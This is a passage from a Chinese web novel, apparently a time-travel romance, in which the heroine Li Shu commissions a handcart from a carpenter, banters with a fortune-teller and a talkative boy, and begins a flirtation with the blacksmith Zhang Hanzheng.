一旁坐着的张寒铮端着茶碗抵在唇边，从头到尾未着一语，只默默地听着，手指漫不经心地摩挲着碗边，眸中闪过一丝隐秘的亮光。
对着这一大一小的吵闹，李挺也早就习惯，说完了便也放松地坐着喝茶，没有再插话，时不时还上前给恩师倒倒茶，免得他口干舌燥骂不下去。
而李姝这边，无意间看到一位老农正推着一辆装满白菜的独轮车沿街吆喝，这车子行动十分灵活，即使装满白菜也丝毫不见滞涩，李姝顿时走不动道了，盯着那车子看了又看，没钱买驴，还没钱买木板吗？
她有些兴奋地问她娘：“娘，您知道哪里可以做板车吗？”
“板车？”张翠花顺着女儿的视线，看到那菜农拉着的独轮车，明白了女儿说的是什么，“得去车马行看看。”
张翠花以为女儿想买独轮车，有些疑惑道：“姝儿，这车子平日里我们用不上，你想买？”
李姝也没说买不买，只催着先去车马行瞧瞧，被她娘一把拉了回来，“不急，先去看看你的脚。”
还是那位冒冷气的大夫，他低下头握着李姝的脚观察，冰冷的手不时转动着她的脚腕，李姝这回脚不疼了，也终于大着胆子观察这大夫的模样。
许是气质的原因，李姝总觉得眼前的人蒙了一层雾，让他的五官看起来都淡淡的，脸上看不出任何情绪，眼睛如清幽的深潭，只有漆黑，仿佛世间所有事物都无法入他之眼。
“已经无恙了，但不可负重长时间走动。”清冷的声音传来，起身时衣袖拂过的冷风打断了李姝的神思，她抬头又看了看眼前的人，这人，一举一动皆带着沉郁，是有什么伤心事吗？
“姝儿，姝儿？”李姝被她娘的叫声喊回了神，发现自己居然盯着别人发呆，一时有些尴尬地站了起来。
坐在桌后的年轻大夫头也没抬，被一个年轻女子瞧着，他也不露任何情绪，手中只一心写着药方，李姝有些欲盖弥彰地问她娘：“娘，怎么了？”
张翠花...
方才自家女儿竟一直不错眼的盯着大夫，叫了好几声都没应，此时还一脸傻样地问自己，她有些无奈地答：“咱已经看完了，快走吧，别在这耽误大夫了。”
“呵呵，好，好的。”说罢，拉着她娘就出去了，她实在没脸呆在里面，里面的人像是有一种魔力，让看到他的人不自觉便开始好奇他的故事，让人陷入想象也不自知。
张翠花侧眼偷偷瞧了瞧女儿，发现自家女儿像是并没有女儿家的羞意，这是，不喜欢？可不喜欢怎地不错眼珠地瞧着人家？虽说他们不想女儿早早嫁人，可若是姝儿真的喜欢，那她和李忠也定是支持。
“姝儿，你可是喜欢方才那位大夫？若是喜欢，娘去问问他家中情况，看能不能谈成。”话说得直接又生猛，她本就是直性子，况且是自个女儿，也没必要弯弯绕绕。
李姝：？？？
“娘，你想到哪去了？我对他没意思，你可千万别问啊！”李姝急忙否认，生怕她娘这急哄哄的脾气转头就回去问，自己最多就是有点好奇罢了，谈不上喜欢，况且他也不是自己喜欢的类型。
张翠花瞧着自家女儿避之不及地模样，伸手点了点她的额头，“你这丫头，既然无意，怎地方才一直不错眼的盯着，害得娘连你的嫁妆都开始想了。”
娘哎，我这身体还是未成年，过早结婚是会折寿的。
李姝盯着她娘认真说道：“娘，我如今只想赚多些钱开铺子，往后让我们一家人能住在县里，我不想这么早便嫁人生子。”
张翠花放下了心，一想到女儿大了往后要出嫁，她都要心疼得睡不好觉，如今亲耳听到女儿的想法，她也不再提心吊胆，笑了笑道：“你这么说娘就放心了，娘和你爹也不想你早早嫁人，家中虽不富裕，可咱一家人在一块，总是能将日子过得和和美美的，家中哪有嫁去别家好。”
李姝挽着她娘的手臂，撒娇道：“那往后由我自己挑选夫婿可好？”
张翠花宠溺地点头，“自然好，爹和娘都听你的。”
很好，包办婚姻已经取消，李姝悬着的心终于放下。
车马行里的车，大都是加了车厢的马车或者牛车，并没有李姝想找的板车，今日见到的独轮车倒是有，可是她觉得太小了，还不好掌握平衡，只能四处问哪里有可以定做的车匠。
最终一个车马商
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铺的老板给她们指了路，李姝一听，这不就是她们平日进城时那北门处的木匠铺子吗？于是赶忙去买了今日的肉和鸡蛋，直奔北门而去。
经过翠竹书肆时，李姝突然想起自己背包里的包子，四下找了找，见上回那道士竟搬到摘星楼门口支起了摊子，此时他在摊子上给一个年轻女子算着什么。
李姝走近一听，发现他对着女子写在纸上的一个字侃侃而谈，李姝听得云里雾里的，旁边那年轻女子也听不懂，频频想插话问这是什么意思，可这老头不顾别人死活，愣是不给别人插话的气口。
李姝听得想笑，上前打断了，“老伯，上回谢谢你帮我叫我哥出来，我请你吃包子。”
道士疑似抽了抽嘴角，这丫头，没一点眼力见。
果然，方才那忍了半天的年轻女子终于找到了插话的气口，“谢道长，您方才说的是什么意思？我今年到底能不能怀上孩子？”
哦？居然是算这个？李姝顿时来了兴致，站在一旁杵着不动想听听他怎么说，连张翠花也站着没动，反而一副跃跃欲试的模样。
谢道长暗暗白了李姝一眼，真想敲这丫头一指头，可他还有客人，只好接了包子轻飘飘地答：“多谢施主，施主大善，至此，贫道与施主因果已解，愿施主往后安康，诸事顺遂。”
潜台词：我们缘分已断，你可以滚了。
可李姝没理他的催赶，反而有些兴致勃勃地等着他怎么解字。
谢道长...
那年轻女子见道长一直不答，急了，还以为自己再也无法生育，声音焦急地问：“道长，我是不是怀不上孩子了？”顿了顿，她又接着说：“你，你是否有法子可以破解？我不能怀不上孩子啊！”若是怀不上，她就要被休出婆家了。
谢道长心下叹了口气，温和地开口道：“莫慌，缘聚缘散一瞬间，施主不必执着眼前，一切顺其自然便可。”
李姝...
年轻女子...这是说自己肯定会被休吗？？
一瞬间女子脸色都白了，也不知想到了什么，起身时一个踉跄，差点摔倒，还是张翠花给扶着才站稳。
看着女子生无可恋的模样，李姝没忍住开了口：“谢道长的意思是，你不必介怀于眼下的处境，只要你舍得放下眼前，往后定能如愿。”
女子有些犹豫，轻声颤抖地问：“真的吗？”如今的夫家，不是自己的归宿吗？往后自己还能有好的去处吗？
李姝看着她，眼里满是鼓励，坚定地说：“真的，谢道长很灵的，你要信他。”
女子深深鞠了一躬，“多谢。”多谢你告诉我，我还有另外的路可以走。
谢道长...这自作主张的小丫头！他何时说过往后定能如愿的话？
正想开口更正，又看了眼像是突然间有了希望的年轻女子，只这一句话，便让她有了信念，不再惶然无措，他嗫嚅了半晌，最终还是没开口，算了，也算是功德一桩。
年轻女子走了，张翠花立马坐了下来，“道长，帮我算算我儿子能不能中举人吧。”声音恳切又热情，一副我相信你的模样。
李姝...娘哎，我刚才只是哄别人的，你怎么当真了？
谢道长看着身后李姝那敢怒不敢言的模样，心里顿时舒坦了，摸了摸胡子，恢复了仙风道骨的模样，也没让张翠花写字，只讳莫如深地说了句：“冥冥之中，自有定数，娘子不用着急，只需待天命彰显。”
骗到自家人头上了，李姝咬了咬牙，正想出声，谁知她娘像是听到了什么好话一般，爽快地给了钱，“多谢道长，承您吉言。”
？？？
这不就是骗人的话术吗？她娘也太好骗了。
道长把钱推回去了，“贫道与您女儿甚是有缘，此卦只当朋友相赠，不收酬劳。”
李姝放心了，还算他识相，她拉着她娘起身，急忙告别，生怕她娘再一个好奇又问些别的什么，“老伯，那包子有些冷了，记得回去用蒸笼热了再吃，我们先走了。”
谢道长摸了摸用油纸包着的包子，有些牛头不对马嘴地说：“什么老伯，叫我道长。”
李姝没回头，只摇了摇手，示意知道了，姿态随意又俏皮。
身后的人笑骂：“这小丫头。”
35. 第 35 章
北门的林记木工坊此时正在营业，李姝两人上门时，里面有两个客人正在挑选矮凳，
掌柜正在一旁介绍：“林老爷，这凳子是特意做成圆形的，很适合给家中年纪还小的小公子小小姐坐着玩，您要知道，磨这一张凳子的时间够我做好几张方凳了，两百文已是最低价钱，实在是不好再低了。”
李姝看了一眼，只见那客人手中拿着一张圆形矮凳，矮凳的靠背特意做成了两个牛角的模样，许是怕小孩子磕碰，木凳所有棱角都被切掉了，整个看起来十分光滑。
这小巧可爱的凳子，李姝看了都有点心动，那一男一女看着也挺喜欢的，只是还在为价钱纠结，掌柜也看出来了，于是开始了新一轮的语言轰炸。
掌柜在忙，不便打扰，李姝便先在店内四处看了起来，突然货架上的一个摆件吸引了她的注意，这是一个用木头做成的马车摆件，约有一尺半长，马车的各个部件都有，甚至连车厢后的脚踏都做了，李姝怀疑尺寸也是等比例缩小的。
正想拿起来看能不能滑动，突然脚下一滞，李姝低头，发现一个身穿玄领长衫的小少年在自己身前坐着，他的凳子太矮，又是在角落里，李姝进门后竟一直未发现他，她方才往前踏了一步，应是不小心踢到他了。
李姝赶忙蹲下道歉：“你可有受伤？实在对不住，我方才没看到你。”
小少年脸上扬起笑容，那缺了门牙的笑，彰显着他毫不在意地爽朗性格，他大大咧咧地把他面前写废了的纸一揉，用清脆的声音答：“姐姐不用担心，这点力道还没我爹打喷嚏的力道大，伤不了我。”
李姝听得一笑，眼前的少年有双十分好看的大眼睛，盯着人笑时眼底像是有一汪清泉在流动，明亮又精神，让人一看便不自觉地被感染，只想跟着笑。
看他在练字，李姝开口问道：“你在写什么？”
小少年把小桌子边上的一张纸递了过来，皱眉道：“千字文。”
“你现在还在学千字文？夫子教得这般慢吗？”李姝有些好奇，三百千不是启蒙书吗？按理说入学就教了。
小少年一听，顿时像是找到知己了，声音都亮了不少：“姐姐你也觉得我不应学这个了吧？我已经八岁了，夫子都开始教论语了，我爹竟然还让我练千字文。”说着又像是不解气，扬了扬方才拿过来的纸又接着说：“他嫌弃我的字丑，非让我学他的字，还自己写了例字！他的字还能比得过二王？”
李姝看着气鼓鼓的小少年，有些哭笑不得的看了看那张写满了例字的宣纸，发现这字线条十分饱满，一笔一划都遒劲有力，整体字形十分端正大气，就算李姝并不懂书法，也能看出这字并不差。
“能不能比过二王姐姐不知道，但你爹这字却也并非不好，至少比你的字好。”看着小少年眼中露出的不服，李姝摸了摸他的头说：“你若是真的不愿学，跟你爹说便是，让他给你换个字帖。”
这话算是触到他的心窝了，小少年声音瞬间委屈，“我爹说没钱给我换字帖，他的钱要留着娶媳妇，不能给我乱花。”
说完他看着李姝，又突然换了情绪，嘴角微微扬起，有些不顾他爹死活地悄声说：“姐姐，你说我爹会不会是寂寞了？”
！！！
李姝一瞬间差点失去表情管理，目光下意识地四处游走，生怕方才有人听见了，这说的什么话？？？他懂什么叫寂寞吗？这熊孩子，哪里学的话？
于是她有些严肃地问：“你怎么会这么想，谁教你的？”
小少年看着眼前的姐姐像是很紧张的模样，有些茫然地说：“对面客栈跑堂的小二哥说的，他说男人想媳妇就是寂寞了，我一想买图画书，我爹就说要留着给我娶媳妇，不给我买。”
说了半天，合着是说给你娶媳妇？？
李姝顿时手痒，真想敲敲这熊孩子的头，让他不学好！这孩子一看就喜欢找人聊天，缺了颗门牙也不影响他说话，平日里怕是没少在左邻右舍里混。
可这里的人这么杂，还时不时有商旅来往，对面的茶肆也时常有贩夫走卒坐着喝茶聊天，一聊便是许久，怕是该听的不该听的全都让他囫囵听进去了，长此以往，小孩子很容易长歪，李姝抬眼瞧了瞧掌柜，他爹都不管的吗？
小少年更不解了，他拽了拽李姝的衣袖，有些小心地问：“姐姐？怎么了？”
李姝低头，眼前的少年抿紧了嘴唇，睫毛微微颤抖，显得有些紧张，像是害怕自己生气了。
李姝一时间有些心疼，这孩子，心思很是敏感，她摸了摸他的头，笑着调侃道：“是不是你总要他买？你爹才这么跟你说的？”
果然，小少年挠了挠耳朵，有些小声地说：“好像，是有点，呵呵。”顿了顿又辩解道：“图画书每次都十天出一章，也不一下出完。”
既然这样，李姝给他出了个主意，让他晚上就开始执行，少年皱了皱眉，有些不相信：“我爹他会同意吗？”
李姝拍了拍他的肩膀，坚定点头，“会的，你试试就知道了，记得，往后少出去串门聊天。”
少年将信将疑地点头，应了。
这边，张翠花在一旁听了掌柜的和那年轻的一男一女砍价的全过程，想着往后自己也是要做生意的，能在别处学就多学点。
她大致是明白了些，掌柜的先是说这凳子多么多么好，后面听到那老爷提到家里有两个孩子，又说若是能买多一张便能便宜三十文。
最后双方一番加减，两张凳子三百五十文卖出去了，听得张翠花连连惊奇，三百五十文，够她们卖许多天的饼子了吧？
掌柜一番真诚地把那两人送走，转身又对着张翠花问：“这位夫人，让您久等了，您是要买些什么？”
张翠花赶紧扭头喊女儿，她觉得自己一个人有些搞不定这个掌柜的。
李姝跟他说了需求，听到李姝说定做车子，顿时一阵喜色，赶忙问道：“小姐您想定做什么样的车？”
李姝用嘴说不清，于是借了小少年的纸和笔，将平板车的大致样子画了出来，“掌柜的，您瞧瞧，这车板四周要用木板围起来，大约两尺高就成，这木板得可以拆卸的，前半部分的手柄得做成前洗后粗的模样，因为前面需要人的手握住拉动，另外平板下方两边能否做个支撑，这样推累了还可就地放下，不至于让上面装载的东西倒下。”
李姝拿着张画得有些丑的画，说了半天要求，生怕掌柜听不明白，连大致的尺寸也标了出来，就是写得太小，团成一团了...
掌柜...这让他怎么做？
幸好，一旁的小少年开口了，主动帮李姝把画誊了出来，线条顿时清晰了许多，字写得也很是端正清秀，掌柜的这时才弄清楚样式，点了点头道：“铁蛋，你这字可比你从前好多了，你看你爹让你练字还是有用处的吧？”
铁蛋少年扬了扬眉，很是傲娇，却没接话，看来还是生着他爹的气。
李姝问了价钱，掌柜还没开口，爱说话的铁蛋少年又开口了：“姐姐是我的朋友，叔，你给算便宜点吧？”
掌柜也爽快，立马开口：“那是自然，这车子若是你们自己出木材，那我便收点人工费和桐油费，一共三百文，若是由我这边出木材，则是六百文。”
张翠花一听，立马便心疼了，这够她们卖好些天饼子了。
她正想拒绝，没想到身边的女儿立马答应了，开口的机会没抢到，只
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好无奈地接在女儿后面说：“木材我们出，掌柜的您看需要多少。”
总算是商量好了工期和定金，木材她们说好了这几天送来，等木材送到，便开始算工期，届时定金也一块给。
李姝拿着契书和一脸心痛的她娘走了，身后，掌柜的用手杵了杵身前的小孩：“铁蛋，你什么时候又教朋友了？”
铁蛋少年眯眼皱眉，不满道：“叔，我叫张子安，您别再叫我小名了。”
掌柜的敲了敲少年的脑壳，“你懂什么？叫小名好养活，你还小呢！”
铁蛋少年摸了摸头，嘴上嘟嘟囔囔地回去练字了。
晚上，铁蛋少年勇敢地和他爹展开了激烈的商量，“爹，你一味地打压我看书的兴致是不对的，你得尊重我的爱好，一味地打压只会迎来反抗。”
铁蛋少年说得振振有声，可他爹只摸了一把他的头，“头洗好了，剩下的自己洗，屁屁也要洗，不许偷懒。”说完便出去了，完全没把儿子的话听进去。
出师未捷的铁蛋少年不气馁，睡前又开了口：“比如说我每两日跟你说一次要买图画书，你每次都不答应，那我往后为了能看上图画书，没准会去做些偷鸡摸狗的事，你忍心让你儿子长大后为了一本图画书去偷鸡摸狗吗？”
专心看书的男人终于舍得给嚎了一晚上的儿子一个正眼，抬眸，不常表露情绪的眼睛划过一丝恶劣的笑意：“你知道什么叫偷鸡摸狗吗？”
正在准备第二段词的铁蛋听到这话愣住了，眼中展露了自己的迷茫，他也不知道什么意思，只是那位姐姐是这么说的，可他嚎了一晚上，不想就此被难住，有些磕巴道：“当，当然知道，就是摸摸小鸡小狗，跟他们玩的意思。”声音清脆又带着傲娇，小小年纪便知道两军对阵，气势不能输。
男人嘲笑出声：“你长大了去摸摸小鸡小狗我有什么不忍心的？你若是想摸，明日我便买只小鸡回来给你摸个够。”
铁蛋少年一时间不知道该怎么回他爹，明明姐姐说的不是这样的，怎么说着说着要买小鸡了？他顿时有些服软，抱着他
爹的腿开始后退一步，“大不了我往后每日多写一张大字，爹，你每五日给我买一本图画书吧。”
男人不为所动，伸着腿让他抱，悄悄地把脚放在自家儿子肚子下暖着，看书看得十分投入。
见这招没用，铁蛋又适时加大了筹码，“我多写两张大字，加每日擦桌子扫地。”
男人头也不抬，淡定“砍价”：“五张。”
这么多？铁蛋暗暗数了数自己每日的作业，加上之前他爹给他布置的一日五张大字，如今又加了五张，怕是往后再也没空出去玩了，可是他还有五本没有追完的图画书，经过一番挣扎，他咬咬牙，应了，“好，爹你可要说话算话。”
他爹不置可否地点了点头。
目的终于达成，他倏的放下了他爹的腿，躺回床上去了，一想到明日的功课和十张大字，他有些懊恼，方才应该再减减的。
可他已经答应了，若是此时反悔，他爹怕是不仅不给他买图画书，还要揍他屁股，想到这，他终于歇了心思，只嘟嘟囔囔地念了念自己明日要做的事，自己把自己哄好了。
身后的男人却在此时开了口，“今晚的话是谁教你的？”他一开始以为又是自家这长了好几张嘴的儿子跟谁聊天想的，可想了想又不对，今晚这些话说的倒不像是平日里那些粗汉能说出的话，而是像个读书人说的。
他皱了皱眉，难道是书院里有人教他的？
铁蛋少年快把自己哄睡了，有些模糊地答了一句话：“好看的姐姐教的。”便睡了过去，直到梦里，他还在焦急地赶着他爹要求的大字。
36. 第 36 章
在店里李姝就看出来了，这掌柜的对自己的作品有些完美主义，就不说那很少见的牛角圆凳了，单是那个马车摆件的细节，便能看出他对自己出手的作品追求精益求精的态度，所以听到他说价钱时，李姝二话不说就同意了，他肯定能做出另自己满意的东西。
只是张翠花却一脸肉疼，数十日攒的钱一下便花出去了一半，女儿这大手大脚地花，什么时候能攒到开铺子的钱，“姝儿，那车子非做不可吗？”
看着自家娘亲满眼心疼的模样，李姝心下想笑，但面上还是正经的说：“娘，往后的天气定是会越来越冷，我们如今每次要花一个时辰才能到工地，日后他们越修越远，我们便要走更多的时辰，届时等我们到了工地，包子和饼子怕是已经冷了。”
张翠花一听，确是这么个理，可这推着板车便能走得更快吗？
她不太懂自家女儿画得那些个图样，于是疑惑问道：“这板车能让我们走得快些？”
李姝摇头，双眼明亮自信，脸上满是对未来计划的憧憬，“不能，往后等我们钱够了，便买一头驴来拉着走，那时才能快些，不过女儿买板车不是为了走得快些，是想着往后能装多点东西，用车子推着走，也总好过咱娘俩天天背着。”
只是现在一时半会儿说不清楚，往后他们自然会知晓，于是她没管娘的疑惑，只说：“娘，日后您就知道了，咱快回去问问大力哥明日能不能帮忙捎木头到县里吧。”
张翠花只好闭了嘴，女儿如今越来越有主意，她很欣慰，可心底也有些暗暗地失落，女儿大了，不再像小时那般黏着自己，一时间，她竟有些怀念从前公爹还在孩子还小的时日，那时姝儿不像挺儿喜欢黏着祖父，偏偏喜欢黏着她和李忠，软糯乖巧，又十分可爱，让她日日都想抱着不撒手。
晚上，张翠花辗转反侧睡不着，身旁的李忠被她翻身的响动惊醒了，有些迷糊地揽了揽她的肩，迷糊道：“怎么了？”
张翠花回神，声音有些低哑，“没什么，吵醒你了？”不知怎地，今日她总是想起姝儿小时的事，越想越觉得女儿和从前不一样了，可她也说不明白哪里不一样，只心里像是挠痒痒般不舒服，慌得想立马跑去女儿房间瞧瞧，她总觉得女儿下一刻便会离开她。
李忠没有多想，只拍了拍她的肩，轻声说：“快睡吧，明日还要忙。”
自家男人的声音让她定了神，她一时又觉得自己想太多，明明女儿就在家里，怎地好像女儿不在了一样，她想不通，最后只好归咎于自己这些日子太累了。
渐渐地，张翠花在身后男人的安抚于歇了心思，不再心烦得翻来覆去，只心里暗暗决定，往后定要给女儿物色个好的夫家，也不能太远，方便自己日后能见到女儿。
翌日，是张翠花一人去的工地，李姝早上都来不及和她娘一起做吃食，大力便到了家门口，只因他与人约好了时辰，要去县里帮人拉货。
一早上急急忙忙地搬木头，李姝连早饭都没吃，到了县里早已饿得前胸贴后背，幸好木工坊已经开门营业了，只是店里却无人。
李姝在铺子门口扬声喊了几句，却没听到应答，木工坊旁边的铁匠铺却突然吱呀一声开了门。
李姝转头，只见一个身穿深色圆领窄袖缺胯衫的男子走了出来，许是这后院建的时候并未考虑他的身高，他跨出门时低了低头，动作利落，灰色的幞头刚好滑过门框，精准得像是他计算过低头的角度。
抬眸时，低沉的声音亦传来，“掌柜的不在，你找他什么事？”
李姝一下便认出了眼前的人，这不就是上回那看上去很靠谱的“蒙古大夫”吗？
她眉眼一弯，有些自来熟地出声：“是你呀！你竟是铁匠？”对面的人还未答话，她又自顾地接着回了他方才的问话：“我找掌柜的帮忙做一辆木板车，木材由我自己出，你与掌柜的相熟？你可知他何时能回来？他不在，我这木材也不知该卸在哪里？”
可能是因为第一印象太好，李姝不自觉地便对着男子话多了起来，甚至都忘了第一次见他时觉得这人严肃的情景。
张寒铮最近接了个单子——五个铁锅和五套大小用途不一的厨房刀具，他比往日都起早了许多，昨日浪费了大半天，却没见到想见的人，为了赶工期，今日只能早起弥补些时间。
刚要开窗便听到一个女子的声音在隔壁唤着掌柜的，这个声音...他似是有些熟悉。
有些不可置信地，他拉下门栓便往旁边瞧了瞧，只见那女子一身浅绿衣裙，在门前来回走动，裙摆荡漾间，他像是感受到有丝丝微风拂来，搅得他心痒，他忍不住跨出门，在她说不知木材放在哪时，立马开口道：“我知道，随我来。”
自己说了这么些话，这人就惜字如金地回了最后一句，而李姝感谢的话还未出口，这气场强大的男子又二话不说扛起了她身后的木材，经过她时，低沉的声音从头顶传来，带着不容置疑：“往旁边站。”
她下意识地让开了，目送着男子扛着木材进了木工坊后院的门，木材很重，早上是她爹和大力两个人合力抬着上车的，可眼前这人却一个人便扛了一根，身后的大力都没来得及上手。
李姝视线下移，他的手臂弧线清晰，宽松的衣袍都没掩住他厚实的肩膀，身姿挺拔，明明瞧着并不魁梧，可给人的感觉却又有武人的干练和体魄，周身的气质不自觉地便让人忘了去看他的长相。
他三两下便将木材搬了进去，无所事事的大力只跟李姝说了声便走了，钱李姝已经提前给了他，也不知是不是故意地，大力直到走时都没和那男子说一句话。
木材堆放整齐，男子转身出门，李姝这时才有机会出声，有些不好意思地仰头看着眼前的人道：“实在是麻烦你了。”
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>男子拍了怕肩膀上的灰，不甚在意道：“举手之劳。”不知是有意还是无意，他避开了李姝的眼神，可手上拍打的节奏却乱了。
李姝已经习惯了他的寡言少语，又大咧咧地开口问道：“你帮了我两次，我还不知道怎么称呼你。”顿了顿又补了一句：“我叫李姝。”
这时代对男女之防并不像李姝以前了解的那般严重，不至于连闺名都要藏着掖着不让人知道，所以她问的其实也并不算是出格，只是无论怎么说，年轻女子见到陌生的男子总是会有些羞意的，很少像李姝这般大咧咧地问姓名。
张寒铮眼底略过一丝意外，只一瞬，眼尾又染起了一抹不易察觉的笑意，随后，他有些郑重地开口：“在下姓张名寒铮，表字子坚。”低沉的声音中带着他自己都不曾发觉地轻柔。
大启朝其实只有世家子弟或是官宦之家才会习惯称呼别人的表字，再有就是长辈对疼爱的晚辈会叫，其他的人一般都是直呼名字的，可李姝这个半文盲压根不知道眼前之人的反常态度，只觉得有些新奇，她第一次听人说表字。
于是她有些好奇地问：“子坚是你自己取的吗？”
张寒铮背手捏了捏腰间的皮带，方才脱口而出的介绍让他有些不自然地清了清嗓子，眼波流转，他的目光往身前的女子那扫了一眼，低声地开口：“是我兄长取的。”
李姝了然地点头，突然听到一阵咕噜声传来，在有些安静地门前显得十分突兀...
为了缓解尴尬，她顿时大方地开口：“你吃早饭了吗？没吃的话我请你吃早饭，就当是答谢可好？”
可她并未得到回应，抬眸，见眼前的男子剑眉微挑，嘴角的笑意像是终于压不住，一直延伸到了眼尾，连眼底都亮起了细碎的光，李姝一时看呆了，这人长得真的很合自己胃口。
他并不清隽，五官也不突出，可拼起来看却又恰到好处地舒服，气质沉稳端正，嘴唇修长，笑起来时还有些不易察觉的性感，把李姝撩得心痒痒。
张寒铮本是想和李姝开开玩笑，看她终于有了寻常女子的羞涩，可眼前的女子视线慌乱间竟掠过了自己的唇，霎时间，他眸光沉了下来，喉结微动，竟是先移开了目光。
气氛顿时变得有些奇怪，李姝在心里暗骂自己颜狗，不就是一个男人吗？在现代她因为追剧而粉上的哥哥还少了？怎么就一下没把持住。
幸好此时木工坊的林掌柜回来了，一手包子一手羊汤地打破了暗流涌动的气氛，“今日这羊汤新鲜，老张，你可得好好感谢我。”
走过来看李姝在，他热情地又开了口：“李小姐？您这么早便送木材过来了？吃早饭了吗？要不要一起吃点？”
李姝欲哭无泪...她讨厌早饭，更讨厌问吃早饭了吗？
可肚子却丝毫不给她面子，馋虫的声音穿过了肚皮，一时间，三个人都听到了...
37. 第 37 章
张寒铮转身去拿矮桌了，林掌柜还在热情地邀请李姝一块吃包子，两人都默契地当没听到，可李姝刚才当着当事人的面觊觎他，还被人发现了，她脸皮再厚也不好意思继续留下来，于是坚决拒了掌柜的好意，只说了句还要买些别的物件便跑了。
连林掌柜托词说有些图纸的细节要和她商量都没让她留下，只说她买完东西便回，走时是连个眼神都不敢往别人身上放，生怕自己又一个没忍住调戏别人，届时就真的是无地自容了。
而身后的张寒铮见状，沉默地放下了手中的矮桌，连椅子也不拿了，抢过林掌柜手中的包子和羊汤，转身回了自己的铺子。
惹得身后的林掌柜笑骂：“张老二，你过河拆桥啊。”
只可惜这话太软，吹不到那转身就变脸的人耳边，张寒铮连回话的心思都没有，自顾回去囫囵吃早饭去了，佳人不在，两个大男人对着吃饭有何趣？互相接对方的唾沫星子吗？
对面的人连个眼神都没给，林掌柜不死心地又嘟囔了一句，“难怪娶不到婆娘，整日像个铁锅似的黑着脸，哪个婆娘敢嫁你，别给人吓跑了才是。”
这话说得倒是小声，也不期待能换来回应，他一边说一边用脚把矮桌勾了出来，也费劲去拿椅子了，放下羊汤便蹲在一旁开始吃包子。
可不一会儿，那囫囵吃了早饭的人刚起了个火，便又跑到隔壁杵着。
林掌柜此时在量尺寸，这几日他只有今日接了李家的单子，吃完早饭便开始琢磨怎么做了，可才忙了一会，这张老二便跑过来一声不吭地站着，既不说话又不帮忙，就光盯着自己打墨线，害得他差点把尺寸量错了，忍了好半晌，他终于忍无可忍：“你到底找我作甚？”
虽说平日里这人也不爱说话，只知道闷头打铁，累了便跟他抢院子里唯一的一张躺椅，顺便指导他干活，可林掌柜却觉得今日这人与平常不一样，盯着他的眼里竟有些欲言又止，这是太阳打西边出来了？
靠在门边的人闻言终于动了动眼珠子，深邃的眼里划过一丝得逞的笑意，他不动声色地清了清嗓子，低沉的声音响起，有些欲盖弥彰地问：“你方才说这车子有什么细节不清楚？”
林掌柜毫不客气地翻了个大大的白眼，站了半天不出声，还以为是有什么事要请自己帮忙呢，合着原来是想帮忙，不枉费自己特意跑去南门买最新鲜的羊汤回来。
不过他也没有嘲笑，毕竟张老二确实在很多细节上帮自己改善过，明明是个铁匠，却十分了解车子的结构和原理，他林老大之所以能在车匠中出名，还真要感谢这张老二对自己的指导。
他拿出了昨天铁蛋帮忙誊过的图纸，指着板车两侧示意的木撑道：“这车子因着由人拉动，所以李小姐想在板车两侧加木撑，好让她停下车子时不至于让车厢倾斜。”
林掌柜边说还边点头，“这想法不错，只是这木撑应该做多高我目前没有想好，若是高了，那人拉着车子走的时候怕是会卡住，低了又怕撑不住，车上的东西还是会倒。”
张寒铮拿着图纸皱眉，她竟是准备人力拉这车子吗？回想她那瘦弱的身子，上回被人一撞便倒了，她有力气拉得动车子？
沉思半晌，他抬眸，“这图不太行，得改。”
林掌柜知道他会这么说，一早准备了纸笔，就等着将他的意见记下来琢磨，可今日张寒铮却没直接开口，只说他要拿回去改好再和他解释。
林掌柜做了这么些年的车匠，也并非是本事稀松做事马虎之人，相反他十分好学，对自己的手艺也十分注重细节，他与张寒铮的差别只是见识不同，这板车无论他怎么看都不过是普通的马车少了个车厢罢了，唯一特别的就是需要加个木撑，并不算难。
他有些疑惑，怎地这人这般慎重的模样。
见林掌柜欲言又止地看着自己，张寒铮微微垂眸，掩去了自己眼中的不自在，只有些欲盖弥彰地说：“铁蛋那小崽子线条画得歪七扭八，他又不懂如何做车子，许多地方都被他囫囵一笔带过，你要是按这图纸做，怕是做不出好东西，我拿回去细化后再给你送来。”
说完也不等别人答话，转身便走了，活像是专门过来抢图纸的。
身后的林掌柜一脸莫名，铁蛋虽不懂，可他自个懂啊，他若是只会看着图做，怕是早就被人砸了招牌了，哪里还能在这开个铺子。
况且这图本就是画个大致模样，他也不会蠢到依葫芦画瓢，从前都是这样的，怎地今日就非要细化？
也不能怪掌柜的迟钝，张老二婆娘都死了七年了，也没见他再娶一个婆娘回来，从前他爹娘为这事没少犯愁，后来他爹娘都去世，也没人再催着他成亲，只一个人拉扯着铁蛋过日子，从未见他为这事上过心，又怎会想到他竟也有追着小姑娘身后跑的一天呢。
这事能不能成都不知道，张寒铮自然是不会过多表露的，况且他本就不是个情绪外露的人，只觉得能帮上忙便帮一帮，也不是非要拎出来表功，往后怎么样，谁又知道呢？
而李姝更没心思，她只是单纯看到一个顺眼的帅哥而已，都走出二里地了她还在为自己刚才的冲动后悔，万一让人误会，届时就真解释不清了，她暗暗告诫自己，往后得管住自己的眼睛，别看到个帅的就发呆。
想了想又加了一条：好看的，就悄悄看一看好了。
只是这个想法，却让她后来被人一步一步诱惑着踩进了一个又一个坑，直至被埋至深底，与挖坑的人一起躺的舒舒服服地，再也不愿离开。
不过现在的她还不知道，她眼下最重要的还是...填饱她的肚子。
她低头，肚子很合时宜地响起，“咕噜噜...”
仿佛是不满自己的抗议没被重视，接着又是一声“咕噜噜”，顿了顿，像是水开沸腾了一般，“咕噜噜”的声音一直响到了包子铺...
陈记包子铺是平山县最出名也是生意最好的包子铺，这家铺子的掌柜是一对夫妻，两人都
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是从京城过来的，因着京城的包子铺、面馆等面食铺子十分多，竞争很是激烈，他们两人便从京城一路到了平洲清平郡，而清平郡治在平山县。
这里离京甚远，许多京中吃食都很少传至此地，于是他们便在此地做起了包子，不料竟是成了平山县生意最好的包子铺。
此时已过了早饭时间，可陈记包子铺仍然有许多人在排队，李姝早就想尝尝这里的包子口味如何，于是从北门硬是走到南门，就为了买一个包子。
包子铺不算大，店里摆了一张大方桌，桌子边有两个人在快速地包着馅料，其中一个应是女主人，而男主人则在外负责打包收钱，店外摆着两摞蒸笼，每个蒸笼应蒸着不同馅料的包子。
男主人动作利落地掀开不同的蒸笼，双手快速地拿起一个又一个包子递给客人，腾挪间，热气不时地往脸上扑散，惹得那男主人头上热汗淋漓，不时地用袖子擦着汗。
李姝买了一个羊肉包子，他们店里的包子种类很多，豆沙包、芝麻包以及羊肉包是最受欢迎的，李姝只排了一会，便听见几乎所有人的选择都没离开这三样。
